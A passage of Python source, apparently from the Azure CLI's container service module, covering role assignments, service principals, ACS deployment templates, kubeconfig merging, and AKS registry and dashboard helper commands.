hook.add(message='AAD role propagation done', value=1.0, total_val=1.0) logger.info('AAD role propagation done') return True def delete_role_assignments(cli_ctx, ids=None, assignee=None, role=None, resource_group_name=None, scope=None, include_inherited=False, yes=None): factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments definitions_client = factory.role_definitions ids = ids or [] if ids: if assignee or role or resource_group_name or scope or include_inherited: raise CLIError('When assignment ids are used, other parameter values are not required') for i in ids: assignments_client.delete_by_id(i) return if not any([ids, assignee, role, resource_group_name, scope, assignee, yes]): msg = 'This will delete all role assignments under the subscription. Are you sure?' if not prompt_y_n(msg, default="n"): return scope = _build_role_scope(resource_group_name, scope, assignments_client.config.subscription_id) assignments = _search_role_assignments(cli_ctx, assignments_client, definitions_client, scope, assignee, role, include_inherited, include_groups=False) if assignments: for a in assignments: assignments_client.delete_by_id(a.id) def _delete_role_assignments(cli_ctx, role, service_principal, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to delete', value=0, total_val=1.0) logger.info('Waiting for AAD role to delete') for x in range(0, 10): hook.add(message='Waiting for AAD role to delete', value=0.1 * x, total_val=1.0) try: delete_role_assignments(cli_ctx, role=role, assignee=service_principal, scope=scope) break except CLIError as ex: raise ex except CloudError as ex: logger.info(ex) time.sleep(delay + delay * x) else: return False hook.add(message='AAD role deletion done', value=1.0, total_val=1.0) logger.info('AAD role deletion done') return True def _search_role_assignments(cli_ctx, assignments_client, definitions_client, scope, assignee, role, include_inherited, include_groups): assignee_object_id = None if assignee: assignee_object_id = _resolve_object_id(cli_ctx, assignee) # always use "scope" if provided, so we can get assignments beyond subscription e.g. management groups if scope: assignments = list(assignments_client.list_for_scope( scope=scope, filter='atScope()')) elif assignee_object_id: if include_groups: f = "assignedTo('{}')".format(assignee_object_id) else: f = "principalId eq '{}'".format(assignee_object_id) assignments = list(assignments_client.list(filter=f)) else: assignments = list(assignments_client.list()) if assignments: assignments = [a for a in assignments if ( not scope or include_inherited and re.match(_get_role_property(a, 'scope'), scope, re.I) or _get_role_property(a, 'scope').lower() == scope.lower() )] if role: role_id = _resolve_role_id(role, scope, definitions_client) assignments = [i for i in assignments if _get_role_property( i, 'role_definition_id') == role_id] if assignee_object_id: assignments = [i for i in assignments if _get_role_property( i, 'principal_id') == assignee_object_id] return assignments def _get_role_property(obj, property_name): if isinstance(obj, dict): return obj[property_name] return getattr(obj, property_name) def _get_default_dns_prefix(name, resource_group_name, subscription_id): # Use subscription id to provide uniqueness and prevent DNS name clashes name_part = re.sub('[^A-Za-z0-9-]', '', name)[0:10] if not name_part[0].isalpha(): name_part = (str('a') + name_part)[0:10] resource_group_part = re.sub('[^A-Za-z0-9-]', '', resource_group_name)[0:16] return '{}-{}-{}'.format(name_part, resource_group_part, subscription_id[0:6]) def list_acs_locations(cmd, client): return { "productionRegions": regions_in_prod, "previewRegions": regions_in_preview } def _generate_windows_profile(windows, admin_username, admin_password): if windows: if not admin_password: raise CLIError('--admin-password is required.') if len(admin_password) < 6: raise CLIError('--admin-password must be at least 6 characters') windows_profile = { "adminUsername": admin_username, "adminPassword": admin_password, } return windows_profile return None def _generate_master_pool_profile(api_version, master_profile, master_count, dns_name_prefix, master_vm_size, master_osdisk_size, master_vnet_subnet_id, master_first_consecutive_static_ip, master_storage_profile): master_pool_profile = {} default_master_pool_profile = { "count": int(master_count), "dnsPrefix": dns_name_prefix + 'mgmt', } if api_version == "2017-07-01": default_master_pool_profile = _update_dict(default_master_pool_profile, { "count": int(master_count), "dnsPrefix": dns_name_prefix + 'mgmt', "vmSize": master_vm_size, "osDiskSizeGB": int(master_osdisk_size), "vnetSubnetID": master_vnet_subnet_id, "firstConsecutiveStaticIP": master_first_consecutive_static_ip, "storageProfile": master_storage_profile, }) if not master_profile: master_pool_profile = default_master_pool_profile else: master_pool_profile = _update_dict(default_master_pool_profile, master_profile) return master_pool_profile def _generate_agent_pool_profiles(api_version, agent_profiles, agent_count, dns_name_prefix, agent_vm_size, os_type, agent_osdisk_size, agent_vnet_subnet_id, agent_ports, agent_storage_profile): agent_pool_profiles = [] default_agent_pool_profile = { "count": int(agent_count), "vmSize": agent_vm_size, "osType": os_type, "dnsPrefix": dns_name_prefix + 'agent', } if api_version == "2017-07-01": default_agent_pool_profile = _update_dict(default_agent_pool_profile, { "count": int(agent_count), "vmSize": agent_vm_size, "osDiskSizeGB": int(agent_osdisk_size), "osType": os_type, "dnsPrefix": dns_name_prefix + 'agent', "vnetSubnetID": agent_vnet_subnet_id, "ports": agent_ports, "storageProfile": agent_storage_profile, }) if agent_profiles is None: agent_pool_profiles.append(_update_dict(default_agent_pool_profile, {"name": "agentpool0"})) else: # override agentPoolProfiles by using the passed in agent_profiles for idx, ap in enumerate(agent_profiles): # if the user specified dnsPrefix, we honor that # otherwise, we use the idx to avoid duplicate dns name a = _update_dict({"dnsPrefix": dns_name_prefix + 'agent' + str(idx)}, ap) agent_pool_profiles.append(_update_dict(default_agent_pool_profile, a)) return agent_pool_profiles def _generate_outputs(name, orchestrator_type, admin_username): # define outputs outputs = { "masterFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/containerServices/', '{}')).masterProfile.fqdn]".format(name) # pylint: disable=line-too-long }, "sshMaster0": { "type": "string", "value": "[concat('ssh ', '{0}', '@', reference(concat('Microsoft.ContainerService/containerServices/', '{1}')).masterProfile.fqdn, ' -A -p 22')]".format(admin_username, name) # pylint: disable=line-too-long }, } if orchestrator_type.lower() != "kubernetes": outputs["agentFQDN"] = { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/containerServices/', '{}')).agentPoolProfiles[0].fqdn]".format(name) # pylint: disable=line-too-long } # override sshMaster0 for non-kubernetes scenarios outputs["sshMaster0"] = { "type": "string", "value": "[concat('ssh ', '{0}', '@', reference(concat('Microsoft.ContainerService/containerServices/', '{1}')).masterProfile.fqdn, ' -A -p 2200')]".format(admin_username, name) # pylint: disable=line-too-long } return outputs def _generate_properties(api_version, orchestrator_type, orchestrator_version, master_pool_profile, agent_pool_profiles, ssh_key_value, admin_username, windows_profile): properties = { "orchestratorProfile": { "orchestratorType": orchestrator_type, }, "masterProfile": master_pool_profile, "agentPoolProfiles": agent_pool_profiles, "linuxProfile": { "ssh": { "publicKeys": [ { "keyData": ssh_key_value } ] }, "adminUsername": admin_username }, } if api_version == "2017-07-01": properties["orchestratorProfile"]["orchestratorVersion"] = orchestrator_version if windows_profile is not None: properties["windowsProfile"] = windows_profile return properties def _get_user_assigned_identity_client_id(cli_ctx, resource_id): msi_client = get_msi_client(cli_ctx) pattern = '/subscriptions/.*?/resourcegroups/(.*?)/providers/microsoft.managedidentity/userassignedidentities/(.*)' resource_id = resource_id.lower() match = re.search(pattern, resource_id) if match: resource_group_name = match.group(1) identity_name = match.group(2) try: identity = msi_client.user_assigned_identities.get(resource_group_name=resource_group_name, resource_name=identity_name) except CloudError as ex: if 'was not found' in ex.message: raise ResourceNotFoundError("Identity {} not found.".format(resource_id)) raise ClientRequestError(ex.message) return identity.client_id raise InvalidArgumentValueError("Cannot parse identity name from provided resource id {}.".format(resource_id)) # pylint: disable=too-many-locals def acs_create(cmd, client, resource_group_name, deployment_name, name, ssh_key_value, dns_name_prefix=None, location=None, admin_username="azureuser", api_version=None, master_profile=None, master_vm_size="Standard_D2_v2", master_osdisk_size=0, master_count=1, master_vnet_subnet_id="", master_first_consecutive_static_ip="10.240.255.5", master_storage_profile="", agent_profiles=None, agent_vm_size="Standard_D2_v2", agent_osdisk_size=0, agent_count=3, agent_vnet_subnet_id="", agent_ports=None, agent_storage_profile="", orchestrator_type="DCOS", orchestrator_version="", service_principal=None, client_secret=None, tags=None, windows=False, admin_password="", generate_ssh_keys=False, # pylint: disable=unused-argument validate=False, no_wait=False): """Create a new Acs. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param deployment_name: The name of the deployment. :type deployment_name: str :param dns_name_prefix: Sets the Domain name prefix for the cluster. The concatenation of the domain name and the regionalized DNS zone make up the fully qualified domain name associated with the public IP address. :type dns_name_prefix: str :param name: Resource name for the container service. :type name: str :param ssh_key_value: Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm :type ssh_key_value: str :param content_version: If included it must match the ContentVersion in the template. :type content_version: str :param admin_username: User name for the Linux Virtual Machines. :type admin_username: str :param api_version: ACS API version to use :type api_version: str :param master_profile: MasterProfile used to describe master pool :type master_profile: dict :param master_vm_size: The size of master pool Virtual Machine :type master_vm_size: str :param master_osdisk_size: The osDisk size in GB of master pool Virtual Machine :type master_osdisk_size: int :param master_count: The number of masters for the cluster. :type master_count: int :param master_vnet_subnet_id: The vnet subnet id for master pool :type master_vnet_subnet_id: str :param master_storage_profile: The storage profile used for master pool. Possible value could be StorageAccount, ManagedDisk. :type master_storage_profile: str :param agent_profiles: AgentPoolProfiles used to describe agent pools :type agent_profiles: dict :param agent_vm_size: The size of the Virtual Machine. :type agent_vm_size: str :param agent_osdisk_size: The osDisk size in GB of agent pool Virtual Machine :type agent_osdisk_size: int :param agent_vnet_subnet_id: The vnet subnet id for master pool :type agent_vnet_subnet_id: str :param agent_ports: the ports exposed on the agent pool :type agent_ports: list :param agent_storage_profile: The storage profile used for agent pool. Possible value could be StorageAccount, ManagedDisk. :type agent_storage_profile: str :param location: Location for VM resources. :type location: str :param orchestrator_type: The type of orchestrator used to manage the applications on the cluster. :type orchestrator_type: str or :class:`orchestratorType <Default.models.orchestratorType>` :param tags: Tags object. :type tags: object :param windows: If true, the cluster will be built for running Windows container. :type windows: bool :param admin_password: The adminstration password for Windows nodes. Only available if --windows=true :type admin_password: str :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`DeploymentExtended <Default.models.DeploymentExtended>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ if ssh_key_value is not None and not is_valid_ssh_rsa_public_key(ssh_key_value): raise CLIError('Provided ssh key ({}) is invalid or non-existent'.format(ssh_key_value)) subscription_id = get_subscription_id(cmd.cli_ctx) if not dns_name_prefix: dns_name_prefix = _get_default_dns_prefix(name, resource_group_name, subscription_id) rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) if location is None: location = rg_location # if api-version is not specified, or specified in a version not supported # override based on location if api_version is None or api_version not in ["2017-01-31", "2017-07-01"]: if location in regions_in_preview: api_version = "2017-07-01" # 2017-07-01 supported in the preview locations else: api_version = "2017-01-31" # 2017-01-31 applied to other locations if orchestrator_type.lower() == 'kubernetes': principal_obj = _ensure_service_principal(cmd.cli_ctx, service_principal, client_secret, subscription_id, dns_name_prefix, location, name) client_secret = principal_obj.get("client_secret") service_principal = principal_obj.get("service_principal") elif windows: raise CLIError('--windows is only supported for Kubernetes clusters') # set location if void if not location: location = '[resourceGroup().location]' # set os_type os_type = 'Linux' if windows: os_type = 'Windows' # set agent_ports if void if not agent_ports: agent_ports = [] # get windows_profile windows_profile = _generate_windows_profile(windows, admin_username, admin_password) # The resources.properties fields should match with ContainerServices' api model master_pool_profile = _generate_master_pool_profile(api_version, master_profile, master_count, dns_name_prefix, master_vm_size, master_osdisk_size, master_vnet_subnet_id, master_first_consecutive_static_ip, master_storage_profile) agent_pool_profiles = _generate_agent_pool_profiles(api_version, agent_profiles, agent_count, dns_name_prefix, agent_vm_size, os_type, agent_osdisk_size, agent_vnet_subnet_id, agent_ports, agent_storage_profile) outputs = _generate_outputs(name, orchestrator_type, admin_username) properties = _generate_properties(api_version, orchestrator_type, orchestrator_version, master_pool_profile, agent_pool_profiles, ssh_key_value, admin_username, windows_profile) resource = { "apiVersion": api_version, "location": location, "type": "Microsoft.ContainerService/containerServices", "name": name, "tags": tags, "properties": properties, } template = { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ resource, ], "outputs": outputs, } params = {} if service_principal is not None and client_secret is not None: properties["servicePrincipalProfile"] = { "clientId": service_principal, "secret": "[parameters('clientSecret')]", } template["parameters"] = { "clientSecret": { "type": "secureString", "metadata": { "description": "The client secret for the service principal" } } } params = { "clientSecret": { "value": client_secret } } # Due to SPN replication latency, we do a few retries here max_retry = 30 retry_exception = Exception(None) for _ in range(0, max_retry): try: return _invoke_deployment(cmd, resource_group_name, deployment_name, template, params, validate, no_wait) except CloudError as ex: retry_exception = ex if 'is not valid according to the validation procedure' in ex.message or \ 'The credentials in ServicePrincipalProfile were invalid' in ex.message or \ 'not found in Active Directory tenant' in ex.message: time.sleep(3) else: raise ex raise retry_exception def store_acs_service_principal(subscription_id, client_secret, service_principal, file_name='acsServicePrincipal.json'): obj = {} if client_secret: obj['client_secret'] = client_secret if service_principal: obj['service_principal'] = service_principal config_path = os.path.join(get_config_dir(), file_name) full_config = load_service_principals(config_path=config_path) if not full_config: full_config = {} full_config[subscription_id] = obj with os.fdopen(os.open(config_path, os.O_RDWR | os.O_CREAT | os.O_TRUNC, 0o600), 'w+') as spFile: json.dump(full_config, spFile) def load_acs_service_principal(subscription_id, file_name='acsServicePrincipal.json'): config_path = os.path.join(get_config_dir(), file_name) config = load_service_principals(config_path) if not config: return None return config.get(subscription_id) def load_service_principals(config_path): if not os.path.exists(config_path): return None fd = os.open(config_path, os.O_RDONLY) try: with os.fdopen(fd) as f: return shell_safe_json_parse(f.read()) except: # pylint: disable=bare-except return None def _invoke_deployment(cmd, resource_group_name, deployment_name, template, parameters, validate, no_wait, subscription_id=None): from azure.cli.core.profiles import ResourceType DeploymentProperties = cmd.get_models('DeploymentProperties', resource_type=ResourceType.MGMT_RESOURCE_RESOURCES) properties = DeploymentProperties(template=template, parameters=parameters, mode='incremental') smc = get_mgmt_service_client(cmd.cli_ctx, ResourceType.MGMT_RESOURCE_RESOURCES, subscription_id=subscription_id).deployments if validate: logger.info('==== BEGIN TEMPLATE ====') logger.info(json.dumps(template, indent=2)) logger.info('==== END TEMPLATE ====') if cmd.supported_api_version(min_api='2019-10-01', resource_type=ResourceType.MGMT_RESOURCE_RESOURCES): Deployment = cmd.get_models('Deployment', resource_type=ResourceType.MGMT_RESOURCE_RESOURCES) deployment = Deployment(properties=properties) if validate: validation_poller = smc.validate(resource_group_name, deployment_name, deployment) return LongRunningOperation(cmd.cli_ctx)(validation_poller) return sdk_no_wait(no_wait, smc.create_or_update, resource_group_name, deployment_name, deployment) if validate: return smc.validate(resource_group_name, deployment_name, properties) return sdk_no_wait(no_wait, smc.create_or_update, resource_group_name, deployment_name, properties) def k8s_get_credentials(cmd, client, name, resource_group_name, path=os.path.join(os.path.expanduser('~'), '.kube', 'config'), ssh_key_file=None, overwrite_existing=False): """Download and install kubectl credentials from the cluster master :param name: The name of the cluster. :type name: str :param resource_group_name: The name of the resource group. :type resource_group_name: str :param path: Where to install the kubectl config file :type path: str :param ssh_key_file: Path to an SSH key file to use :type ssh_key_file: str """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) _k8s_get_credentials_internal(name, acs_info, path, ssh_key_file, overwrite_existing) def _k8s_get_credentials_internal(name, acs_info, path, ssh_key_file, overwrite_existing): if ssh_key_file is not None and not os.path.isfile(ssh_key_file): raise CLIError('Private key file {} does not exist'.format(ssh_key_file)) dns_prefix = acs_info.master_profile.dns_prefix # pylint: disable=no-member location = acs_info.location # pylint: disable=no-member user = acs_info.linux_profile.admin_username # pylint: disable=no-member _mkdir_p(os.path.dirname(path)) path_candidate = path ix = 0 while os.path.exists(path_candidate): ix += 1 path_candidate = '{}-{}-{}'.format(path, name, ix) # TODO: this only works for public cloud, need other casing for national clouds acs_client.secure_copy(user, '{}.{}.cloudapp.azure.com'.format(dns_prefix, location), '.kube/config', path_candidate, key_filename=ssh_key_file) # merge things if path_candidate != path: try: merge_kubernetes_configurations(path, path_candidate, overwrite_existing) except yaml.YAMLError as exc: logger.warning('Failed to merge credentials to kube config file: %s', exc) logger.warning('The credentials have been saved to %s', path_candidate) def _handle_merge(existing, addition, key, replace): if not addition.get(key, False): return if not existing.get(key): existing[key] = addition[key] return for i in addition[key]: for j in existing[key]: if not i.get('name', False) or not j.get('name', False): continue if i['name'] == j['name']: if replace or i == j: existing[key].remove(j) else: msg = 'A different object named {} already exists in your kubeconfig file.\nOverwrite?' overwrite = False try: overwrite = prompt_y_n(msg.format(i['name'])) except NoTTYException: pass if overwrite: existing[key].remove(j) else: msg = 'A different object named {} already exists in {} in your kubeconfig file.' raise CLIError(msg.format(i['name'], key)) existing[key].append(i) def load_kubernetes_configuration(filename): try: with open(filename) as stream: return yaml.safe_load(stream) except (IOError, OSError) as ex: if getattr(ex, 'errno', 0) == errno.ENOENT: raise CLIError('{} does not exist'.format(filename)) raise except (yaml.parser.ParserError, UnicodeDecodeError) as ex: raise CLIError('Error parsing {} ({})'.format(filename, str(ex))) def merge_kubernetes_configurations(existing_file, addition_file, replace, context_name=None): existing = load_kubernetes_configuration(existing_file) addition = load_kubernetes_configuration(addition_file) if context_name is not None: addition['contexts'][0]['name'] = context_name addition['contexts'][0]['context']['cluster'] = context_name addition['clusters'][0]['name'] = context_name addition['current-context'] = context_name # rename the admin context so it doesn't overwrite the user context for ctx in addition.get('contexts', []): try: if ctx['context']['user'].startswith('clusterAdmin'): admin_name = ctx['name'] + '-admin' addition['current-context'] = ctx['name'] = admin_name break except (KeyError, TypeError): continue if addition is None: raise CLIError('failed to load additional configuration from {}'.format(addition_file)) if existing is None: existing = addition else: _handle_merge(existing, addition, 'clusters', replace) _handle_merge(existing, addition, 'users', replace) _handle_merge(existing, addition, 'contexts', replace) existing['current-context'] = addition['current-context'] # check that ~/.kube/config is only read- and writable by its owner if platform.system() != 'Windows': existing_file_perms = "{:o}".format(stat.S_IMODE(os.lstat(existing_file).st_mode)) if not existing_file_perms.endswith('600'): logger.warning('%s has permissions "%s".\nIt should be readable and writable only by its owner.', existing_file, existing_file_perms) with open(existing_file, 'w+') as stream: yaml.safe_dump(existing, stream, default_flow_style=False) current_context = addition.get('current-context', 'UNKNOWN') msg = 'Merged "{}" as current context in {}'.format(current_context, existing_file) print(msg) def _get_host_name(acs_info): """ Gets the FQDN from the acs_info object. :param acs_info: ContainerService object from Azure REST API :type acs_info: ContainerService """ if acs_info is None: raise CLIError('Missing acs_info') if acs_info.master_profile is None: raise CLIError('Missing master_profile') if acs_info.master_profile.fqdn is None: raise CLIError('Missing fqdn') return acs_info.master_profile.fqdn def _get_username(acs_info): """ Gets the admin user name from the Linux profile of the ContainerService object. :param acs_info: ContainerService object from Azure REST API :type acs_info: ContainerService """ if acs_info.linux_profile is not None: return acs_info.linux_profile.admin_username return None def _get_acs_info(cli_ctx, name, resource_group_name): """ Gets the ContainerService object from Azure REST API. :param name: ACS resource name :type name: String :param resource_group_name: Resource group name :type resource_group_name: String """ container_services = cf_container_services(cli_ctx, None) return container_services.get(resource_group_name, name) def _rand_str(n): """ Gets a random string """ choices = string.ascii_lowercase + string.digits return ''.join(random.SystemRandom().choice(choices) for _ in range(n)) def _mkdir_p(path): # http://stackoverflow.com/a/600612 try: os.makedirs(path) except OSError as exc: # Python >2.5 if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise def update_acs(cmd, client, resource_group_name, container_service_name, new_agent_count): instance = client.get(resource_group_name, container_service_name) instance.agent_pool_profiles[0].count = new_agent_count # pylint: disable=no-member # null out the service principal because otherwise validation complains if instance.orchestrator_profile.orchestrator_type == ContainerServiceOrchestratorTypes.kubernetes: instance.service_principal_profile = None # null out the windows profile so that validation doesn't complain about not having the admin password instance.windows_profile = None return client.create_or_update(resource_group_name, container_service_name, instance) def list_container_services(cmd, client, resource_group_name=None): ''' List Container Services. ''' svc_list = client.list_by_resource_group(resource_group_name=resource_group_name) \ if resource_group_name else client.list() return list(svc_list) def show_service_principal(client, identifier): object_id = _resolve_service_principal(client, identifier) return client.get(object_id) def _resolve_service_principal(client, identifier): # todo: confirm with graph team that a service principal name must be unique result = list(client.list(filter="servicePrincipalNames/any(c:c eq '{}')".format(identifier))) if result: return result[0].object_id try: uuid.UUID(identifier) return identifier # assume an object id except ValueError: raise CLIError("service principal '{}' doesn't exist".format(identifier)) def create_application(client, display_name, homepage, identifier_uris, available_to_other_tenants=False, password=None, reply_urls=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None, required_resource_accesses=None): from azure.graphrbac.models import GraphErrorException password_creds, key_creds = _build_application_creds(password, key_value, key_type, key_usage, start_date, end_date) app_create_param = ApplicationCreateParameters(available_to_other_tenants=available_to_other_tenants, display_name=display_name, identifier_uris=identifier_uris, homepage=homepage, reply_urls=reply_urls, key_credentials=key_creds, password_credentials=password_creds, required_resource_access=required_resource_accesses) try: result = client.create(app_create_param, raw=True) return result.output, result.response.headers["ocp-aad-session-key"] except GraphErrorException as ex: if 'insufficient privileges' in str(ex).lower(): link = 'https://docs.microsoft.com/azure/azure-resource-manager/resource-group-create-service-principal-portal' # pylint: disable=line-too-long raise CLIError("Directory permission is needed for the current user to register the application. " "For how to configure, please refer '{}'. Original error: {}".format(link, ex)) raise def update_application(client, object_id, display_name, homepage, identifier_uris, available_to_other_tenants=False, password=None, reply_urls=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None, required_resource_accesses=None): from azure.graphrbac.models import GraphErrorException password_creds, key_creds = _build_application_creds(password, key_value, key_type, key_usage, start_date, end_date) try: if key_creds: client.update_key_credentials(object_id, key_creds) if password_creds: client.update_password_credentials(object_id, password_creds) if reply_urls: client.patch(object_id, ApplicationUpdateParameters(reply_urls=reply_urls)) return except GraphErrorException as ex: if 'insufficient privileges' in str(ex).lower(): link = 'https://docs.microsoft.com/azure/azure-resource-manager/resource-group-create-service-principal-portal' # pylint: disable=line-too-long raise CLIError("Directory permission is needed for the current user to register the application. " "For how to configure, please refer '{}'. Original error: {}".format(link, ex)) raise def _build_application_creds(password=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None): if password and key_value: raise CLIError('specify either --password or --key-value, but not both.') if not start_date: start_date = datetime.datetime.utcnow() elif isinstance(start_date, str): start_date = dateutil.parser.parse(start_date) if not end_date: end_date = start_date + relativedelta(years=1) elif isinstance(end_date, str): end_date = dateutil.parser.parse(end_date) key_type = key_type or 'AsymmetricX509Cert' key_usage = key_usage or 'Verify' password_creds = None key_creds = None if password: password_creds = [PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(uuid.uuid4()), value=password)] elif key_value: key_creds = [KeyCredential(start_date=start_date, end_date=end_date, value=key_value, key_id=str(uuid.uuid4()), usage=key_usage, type=key_type)] return (password_creds, key_creds) def create_service_principal(cli_ctx, identifier, resolve_app=True, rbac_client=None): if rbac_client is None: rbac_client = get_graph_rbac_management_client(cli_ctx) if resolve_app: try: uuid.UUID(identifier) result = list(rbac_client.applications.list(filter="appId eq '{}'".format(identifier))) except ValueError: result = list(rbac_client.applications.list( filter="identifierUris/any(s:s eq '{}')".format(identifier))) if not result: # assume we get an object id result = [rbac_client.applications.get(identifier)] app_id = result[0].app_id else: app_id = identifier return rbac_client.service_principals.create(ServicePrincipalCreateParameters(app_id=app_id, account_enabled=True)) def create_role_assignment(cli_ctx, role, assignee, is_service_principal, resource_group_name=None, scope=None): return _create_role_assignment(cli_ctx, role, assignee, resource_group_name, scope, resolve_assignee=is_service_principal) def _create_role_assignment(cli_ctx, role, assignee, resource_group_name=None, scope=None, resolve_assignee=True): from azure.cli.core.profiles import ResourceType, get_sdk factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments definitions_client = factory.role_definitions scope = _build_role_scope(resource_group_name, scope, assignments_client.config.subscription_id) role_id = _resolve_role_id(role, scope, definitions_client) # If the cluster has service principal resolve the service principal client id to get the object id, # if not use MSI object id. object_id = _resolve_object_id(cli_ctx, assignee) if resolve_assignee else assignee RoleAssignmentCreateParameters = get_sdk(cli_ctx, ResourceType.MGMT_AUTHORIZATION, 'RoleAssignmentCreateParameters', mod='models', operation_group='role_assignments') parameters = RoleAssignmentCreateParameters(role_definition_id=role_id, principal_id=object_id) assignment_name = uuid.uuid4() custom_headers = None return assignments_client.create(scope, assignment_name, parameters, custom_headers=custom_headers) def _build_role_scope(resource_group_name, scope, subscription_id): subscription_scope = '/subscriptions/' + subscription_id if scope: if resource_group_name: err = 'Resource group "{}" is redundant because scope is supplied' raise CLIError(err.format(resource_group_name)) elif resource_group_name: scope = subscription_scope + '/resourceGroups/' + resource_group_name else: scope = subscription_scope return scope def _resolve_role_id(role, scope, definitions_client): role_id = None try: uuid.UUID(role) role_id = role except ValueError: pass if not role_id: # retrieve role id role_defs = list(definitions_client.list(scope, "roleName eq '{}'".format(role))) if not role_defs: raise CLIError("Role '{}' doesn't exist.".format(role)) if len(role_defs) > 1: ids = [r.id for r in role_defs] err = "More than one role matches the given name '{}'. Please pick a value from '{}'" raise CLIError(err.format(role, ids)) role_id = role_defs[0].id return role_id def _resolve_object_id(cli_ctx, assignee): client = get_graph_rbac_management_client(cli_ctx) result = None if assignee.find('@') >= 0: # looks like a user principal name result = list(client.users.list(filter="userPrincipalName eq '{}'".format(assignee))) if not result: result = list(client.service_principals.list( filter="servicePrincipalNames/any(c:c eq '{}')".format(assignee))) if not result: # assume an object id, let us verify it result = _get_object_stubs(client, [assignee]) # 2+ matches should never happen, so we only check 'no match' here if not result: raise CLIError("No matches in graph database for '{}'".format(assignee)) return result[0].object_id def _get_object_stubs(graph_client, assignees): params = GetObjectsParameters(include_directory_object_references=True, object_ids=assignees) return list(graph_client.objects.get_objects_by_object_ids(params)) def _update_dict(dict1, dict2): cp = dict1.copy() cp.update(dict2) return cp def subnet_role_assignment_exists(cli_ctx, scope): network_contributor_role_id = "4d97b98b-1d4f-4787-a291-c67834d212e7" factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments for i in assignments_client.list_for_scope(scope=scope, filter='atScope()'): if i.scope == scope and i.role_definition_id.endswith(network_contributor_role_id): return True return False def aks_check_acr(cmd, client, resource_group_name, name, acr): if not which("kubectl"): raise ValidationError("Can not find kubectl executable in PATH") _, browse_path = tempfile.mkstemp() aks_get_credentials( cmd, client, resource_group_name, name, admin=False, path=browse_path ) # Get kubectl minor version kubectl_minor_version = -1 try: cmd = f"kubectl version -o json --kubeconfig {browse_path}" output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) jsonS, _ = output.communicate() kubectl_version = json.loads(jsonS) kubectl_minor_version = int(kubectl_version["clientVersion"]["minor"]) if int(kubectl_version["serverVersion"]["minor"]) < 17: logger.warning('There is a known issue for Kuberentes versions < 1.17 when connecting to ' 'ACR using MSI. See https://github.com/kubernetes/kubernetes/pull/96355 for' 'more information.') except subprocess.CalledProcessError as err: raise ValidationError("Could not find kubectl minor version: {}".format(err)) if kubectl_minor_version == -1: raise ValidationError("Failed to get kubectl version") podName = "canipull-" + str(uuid.uuid4()) overrides = { "spec": { "restartPolicy": "Never", "hostNetwork": True, "containers": [ { "securityContext": {"runAsUser": 0}, "name": podName, "image": CONST_CANIPULL_IMAGE, "args": ["-v6", acr], "stdin": True, "stdinOnce": True, "tty": True, "volumeMounts": [ {"name": "azurejson", "mountPath": "/etc/kubernetes"}, {"name": "sslcerts", "mountPath": "/etc/ssl/certs"}, ], } ], "tolerations": [ {"key": "CriticalAddonsOnly", "operator": "Exists"}, {"effect": "NoExecute", "operator": "Exists"}, ], "volumes": [ {"name": "azurejson", "hostPath": {"path": "/etc/kubernetes"}}, {"name": "sslcerts", "hostPath": {"path": "/etc/ssl/certs"}}, ], } } try: cmd = [ "kubectl", "run", "--kubeconfig", browse_path, "--rm", "--quiet", "--image", CONST_CANIPULL_IMAGE, "--overrides", json.dumps(overrides), "-it", podName, ] # Support kubectl versons < 1.18 if kubectl_minor_version < 18: cmd += ["--generator=run-pod/v1"] output = subprocess.check_output( cmd, universal_newlines=True, ) except subprocess.CalledProcessError as err: raise CLIError("Failed to check the ACR: {}".format(err)) if output: print(output) else: raise CLIError("Failed to check the ACR.") # pylint: disable=too-many-statements,too-many-branches def aks_browse(cmd, client, resource_group_name, name, disable_browser=False, listen_address='127.0.0.1', listen_port='8001'): # verify the kube-dashboard addon was not disabled instance = client.get(resource_group_name, name) addon_profiles = instance.addon_profiles or {} # addon name is case insensitive addon_profile = next((addon_profiles[k] for k in addon_profiles if k.lower() == CONST_KUBE_DASHBOARD_ADDON_NAME.lower()), ManagedClusterAddonProfile(enabled=False)) # open portal view if addon is not enabled or k8s version >= 1.19.0 if StrictVersion(instance.kubernetes_version) >= StrictVersion('1.19.0') or (not addon_profile.enabled): subscription_id = get_subscription_id(cmd.cli_ctx) dashboardURL = ( cmd.cli_ctx.cloud.endpoints.portal + # Azure Portal URL (https://portal.azure.com for public cloud) ('/#resource/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.ContainerService' '/managedClusters/{2}/workloads').format(subscription_id, resource_group_name, name) ) if in_cloud_console(): logger.warning('To view the Kubernetes resources view, please open %s in a new tab', dashboardURL) else: logger.warning('Kubernetes resources view on %s', dashboardURL) if not disable_browser: webbrowser.open_new_tab(dashboardURL) return # otherwise open the kube-dashboard addon if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') _, browse_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=browse_path) # find the dashboard pod's name try: dashboard_pod = subprocess.check_output( ["kubectl", "get", "pods", "--kubeconfig", browse_path, "--namespace", "kube-system", "--output", "name", "--selector", "k8s-app=kubernetes-dashboard"], universal_newlines=True) except subprocess.CalledProcessError as err: raise 